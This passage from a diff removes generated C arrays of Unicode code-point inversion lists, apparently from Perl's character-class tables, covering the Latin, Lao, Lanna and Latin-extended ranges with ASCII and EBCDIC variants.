0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_L_invlist[] = { /* for EBCDIC 037 */ - 1193, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3007, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6E6, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LANA_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE -}; - -static const UV PL_LAO_invlist[] = { /* for all charsets */ - 37, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LATIN1_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x80, - 0x100 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LATIN1_invlist[] = { /* for EBCDIC 1047 */ - 55, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x15, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x26, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA, - 0x100 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LATIN1_invlist[] = { /* for EBCDIC 037 */ - 57, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x16, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x25, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xB0, - 0xB1, - 0xBA, - 0xBC, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA, - 0x100 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LATINEXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x100, - 0x180 -}; - -static const UV PL_LATINEXTADDITIONAL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1E00, - 0x1F00 -}; - -static const UV PL_LATINEXTB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x180, - 0x250 -}; - -static const UV PL_LATINEXTC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2C60, - 0x2C80 -}; - -static const UV PL_LATINEXTD_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA720, - 0xA800 -}; - -static const UV PL_LATINEXTE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAB30, - 0xAB70 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LATN_invlist[] = { /* for ASCII/Latin1 */ - 75, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2B9, - 0x2E0, - 0x2E5, - 0x363, - 0x370, - 0x485, - 0x487, - 0x951, - 0x953, - 0x10FB, - 0x10FC, - 0x1D00, - 0x1D26, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1E00, - 0x1F00, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20F0, - 0x20F1, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C60, - 0x2C80, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xA92E, - 0xA92F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xFB00, - 0xFB07, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LATN_invlist[] = { /* for EBCDIC 1047 */ - 101, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 